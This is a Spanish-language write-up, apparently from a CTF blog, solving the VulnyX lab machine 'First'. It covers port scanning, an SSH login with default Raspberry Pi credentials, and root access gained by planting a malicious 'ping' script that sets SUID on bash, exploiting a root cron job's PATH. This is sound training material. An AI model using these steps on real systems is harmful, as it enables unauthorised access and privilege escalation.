cd ~/blog

~/writeups/vulnyx/20-first.md

20 - First

low Linux vulnyx 18-08-2024
Default Raspberry Pi credentials (pi:raspberry)PATH Hijacking (cron)
vulnyx.com

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.39
 nmap -sCV -p 22,80,4369 -oN 02-targeted.txt 192.168.1.39
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 19:21 -04
Nmap scan report for 192.168.1.39
Host is up (0.00034s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 24:83:97:49:96:11:7c:7a:54:00:17:3b:0c:f6:e1:54 (RSA)
|   256 83:cc:d0:72:41:48:fc:c4:ba:46:a1:0e:70:50:52:71 (ECDSA)
|_  256 a0:37:99:32:78:17:69:4f:1d:ac:75:1e:ba:19:58:45 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|_  nodes:
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.73 seconds

En el sitio web encontramos una lista de tareas con una pista clave: una entrada menciona actualizar una Raspberry:

[Task List]
[x] Go shopping.
[x] Make coffe.
[v] Update Raspberry.
[x] Go hairdresser.
[x] Request salary increase.
[x] Clean my room.

Al tratarse de una Raspberry Pi, probamos las credenciales por defecto pi:raspberry por SSH, que siguen activas:

 ssh pi@192.168.1.39
pi@192.168.1.39's password: raspberry
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberry:~$

Para escalar privilegios, monitorizamos los procesos con pspy64 y detectamos un cronjob de root que ejecuta ping:

pi@raspberry:/tmp$ ./pspy64
...
2024/08/19 05:12:01 CMD: UID=0     PID=5545   | /bin/sh -c ping -c1 raspberrypi.com
...

Confirmamos el cronjob en /etc/crontab y, lo más importante, su variable PATH:

pi@raspberry:/tmp$ cat /etc/crontab
...
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/var/www/html:/bin:/usr/sbin:/usr/bin
...
* * * * * root ping -c1 raspberrypi.com
...

pi@raspberry:/tmp$ which ping
/usr/bin/ping

El comando ping se invoca por su nombre relativo, y en el PATH el directorio escribible /var/www/html aparece antes que /usr/bin (donde está el binario real). Aprovechamos esto para un PATH Hijacking: colocamos un ping malicioso en /var/www/html que da SUID a Bash:

pi@raspberry:/var/www/html$ cat ping
#!/bin/bash
chmod u+s /bin/bash
pi@raspberry:/var/www/html$ chmod +x ping

Esperamos a que el cronjob se ejecute y, con Bash ya marcado SUID, lanzamos una shell privilegiada:

pi@raspberry:/var/www/html$ ls -l /bin/bash
pi@raspberry:/var/www/html$ bash -p
bash-5.1# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados